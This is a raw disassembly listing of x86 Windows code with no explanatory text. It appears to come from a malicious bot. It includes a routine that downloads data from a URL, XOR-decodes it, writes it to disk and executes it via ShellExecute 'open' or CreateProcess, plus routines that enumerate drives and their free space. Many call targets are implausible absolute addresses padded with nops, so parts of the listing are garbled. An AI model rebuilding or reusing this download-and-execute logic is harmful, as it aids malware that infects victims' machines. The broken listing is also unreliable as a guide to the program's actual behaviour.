		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 27102B0h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6A4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB66C
		cmp	eax, ebx
		jl	loc_41617C
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617C
		sub	[ebp+8], eax
		jnz	loc_41604A
		mov	edi, [ebp-18h]


loc_4160E7:				; CODE XREF: ___:0041603Fj
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2680920h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437BA8
		push	eax
		call	sub_41B886


loc_416120:				; CODE XREF: ___:00415FF7j
		add	esp, 14h


loc_416123:				; CODE XREF: ___:00416030j
		cmp	[ebp-50h], esi
		jnz	short loc_416148
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 14h


loc_416148:				; CODE XREF: ___:00416126j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AD
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416160
		push	edi
		call	dword_4CB6EC


loc_416160:				; CODE XREF: ___:00416157j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	esi
		call	near ptr 26F08BFh
		nop


loc_41617C:				; CODE XREF: ___:004160CAj
					; ___:004160D5j
		push	esi
		mov	esi, offset dword_437B90
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		push	esi
		call	sub_4151AD
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F08BFh


loc_4161BD:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 2690AE2h
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429ACC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2710A6Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416247
		push	offset unk_437D0C
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_416247:				; CODE XREF: ___:0041623Ej
		push	eax
		call	near ptr 2680920h
		nop
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626F
		push	offset unk_437CDC
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_41626F:				; CODE XREF: ___:00416266j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4162A0
		push	offset unk_437CBC


loc_41628D:				; CODE XREF: ___:00416245j
					; ___:0041626Dj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639C
; ---------------------------------------------------------------------------


loc_4162A0:				; CODE XREF: ___:00416286j
		mov	esi, 1000h


loc_4162A5:				; CODE XREF: ___:0041630Bj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636C
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630D
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB650
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		jmp	short loc_4162A5
; ---------------------------------------------------------------------------


loc_41630D:				; CODE XREF: ___:004162D5j
		lea	eax, [ebp-4C4h]
		push	offset dword_437B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	1
		nop
		call	near ptr 26F08BFh


loc_41636C:				; CODE XREF: ___:004162CCj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437C90
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639C:				; CODE XREF: ___:0041629Bj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C1
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		add	esp, 14h


loc_4163C1:				; CODE XREF: ___:0041639Fj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DC:				; CODE XREF: ___:004163D1j
		cmp	[ebp+8], ebx
		jbe	short loc_4163EA
		push	dword ptr [ebp+8]
		call	dword_4CB6EC


loc_4163EA:				; CODE XREF: ___:004163DFj
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F08BFh


loc_4163FA:				; DATA XREF: sub_401ACD+627Ao
					; sub_401ACD+6ABAo
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB558
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416886
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2710A6Ah
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437ED8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4164A4:				; CODE XREF: ___:00416482j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F08BFh


loc_4164C1:				; CODE XREF: ___:00416462j
		xor	edi, edi
		nop
		call	near ptr 26B084Fh
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DB:				; CODE XREF: ___:004165AEj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB560
		cmp	[ebp-34h], esi
		jz	short loc_41651F
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EC
		pop	ecx
		pop	ecx


loc_41651F:				; CODE XREF: ___:0041650Cj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 2700649h
		nop
		cmp	edi, ebx
		jnb	short loc_41655D
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416547
		mov	eax, [ebp+8]


loc_416547:				; CODE XREF: ___:00416542j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655D:				; CODE XREF: ___:00416539j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_41656A
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B4


loc_41656A:				; CODE XREF: ___:00416563j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416584
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437EB0
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416584:				; CODE XREF: ___:00416570j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E88


loc_416594:				; CODE XREF: ___:00416582j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E390
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DB


loc_4165B4:				; CODE XREF: ___:00416568j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416609
		cmp	edi, [ebp-3Ch]
		jz	short loc_416609
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437E5C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416609:				; CODE XREF: ___:004165BEj
					; ___:004165C3j
		nop
		call	near ptr 26B084Fh
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 2680920h
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416693
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416693
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437E34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416693:				; CODE XREF: ___:0041663Bj
					; ___:0041664Dj
		cmp	[ebp-14h], esi
		jz	loc_4168D3
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678E
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437DFC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670E
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_41670E:				; CODE XREF: ___:004166ECj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D3
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB5C0
		cmp	[ebp-30h], esi
		jnz	loc_4168D3
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437DE0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 24h
		jmp	loc_4168D3
; ---------------------------------------------------------------------------


loc_41678E:				; CODE XREF: ___:004166A0j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437D9C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4167F6:				; CODE XREF: ___:004167D4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D808
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 2680D3Bh
		nop
		cmp	eax, edi
		jnz	short loc_416878
		call	dword_4CB5AC
		call	sub_41835A
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416878:				; CODE XREF: ___:00416864j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437D68
		jmp	short loc_416892
; ---------------------------------------------------------------------------


loc_416886:				; CODE XREF: ___:0041643Fj
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437D3C


loc_416892:				; CODE XREF: ___:00416884j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4168C6:				; CODE XREF: ___:004168A4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4168D3:				; CODE XREF: ___:00416696j
					; ___:0041671Fj ...
		push	dword ptr [ebp-18h]
		call	dword_4CB688
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26F08BFh

; =============== S U B	R O U T	I N E =======================================



sub_4168EC	proc near		; CODE XREF: ___:00416518p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416908


loc_4168F8:				; CODE XREF: sub_4168EC+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F8

locret_416908:				; CODE XREF: sub_4168EC+Aj
		retn
sub_4168EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416909	proc near		; CODE XREF: sub_401ACD+5842p
					; sub_401ACD+596Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416923	proc near		; CODE XREF: sub_40F96B+458p
					; sub_40F96B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3288
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416948:				; CODE XREF: sub_416923+5Bj
					; sub_416923+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416986
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416948
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416948
; ---------------------------------------------------------------------------


loc_416986:				; CODE XREF: sub_416923+4Bj
		dec	esi
		mov	eax, edi


loc_416989:				; CODE XREF: sub_416923+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416998
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_416998:				; CODE XREF: sub_416923+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416923	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A2	proc near		; CODE XREF: sub_416B57+51p
					; sub_416B57+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB6B4
		sub	eax, 0
		jz	short loc_4169E5
		dec	eax
		jz	short loc_4169DF
		dec	eax
		dec	eax
		jz	short loc_4169D9
		dec	eax
		jz	short loc_4169D3
		dec	eax
		jz	short loc_4169CD
		dec	eax
		jz	short loc_4169C7
		mov	eax, offset word_437F2C
		retn
; ---------------------------------------------------------------------------


loc_4169C7:				; CODE XREF: sub_4169A2+1Dj
		mov	eax, offset off_437F28
		retn
; ---------------------------------------------------------------------------


loc_4169CD:				; CODE XREF: sub_4169A2+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D3:				; CODE XREF: sub_4169A2+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D9:				; CODE XREF: sub_4169A2+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: sub_4169A2+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E5:				; CODE XREF: sub_4169A2+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EB	proc near		; CODE XREF: sub_416A33+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB544
		test	eax, eax
		jz	short loc_416A20
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A20:				; CODE XREF: sub_4169EB+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A33	proc near		; CODE XREF: sub_416B57+17p
					; sub_41AA43+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B43
; ---------------------------------------------------------------------------


loc_416B11:				; CODE XREF: sub_416A33+2Cj
					; sub_416A33+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B43:				; CODE XREF: sub_416A33+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B57	proc near		; CODE XREF: sub_416C29+17p
					; sub_416C29+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BCA
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F7C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFE
; ---------------------------------------------------------------------------


loc_416BCA:				; CODE XREF: sub_416B57+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F40
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFE:				; CODE XREF: sub_416B57+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C29	proc near		; CODE XREF: sub_401ACD+2554p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C4A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h
		jmp	short loc_416CAB
; ---------------------------------------------------------------------------


loc_416C4A:				; CODE XREF: sub_416C29+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB5BC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB5BC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA2


loc_416C6E:				; CODE XREF: sub_416C29+77j
		push	offset off_437FB8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C91
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h


loc_416C91:				; CODE XREF: sub_416C29+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6E


loc_416CA2:				; CODE XREF: sub_416C29+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAB:				; CODE XREF: sub_416C29+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C29	endp

; ---------------------------------------------------------------------------
word_416CAE	dw 8B55h		; DATA XREF: sub_401ACD+68A0o
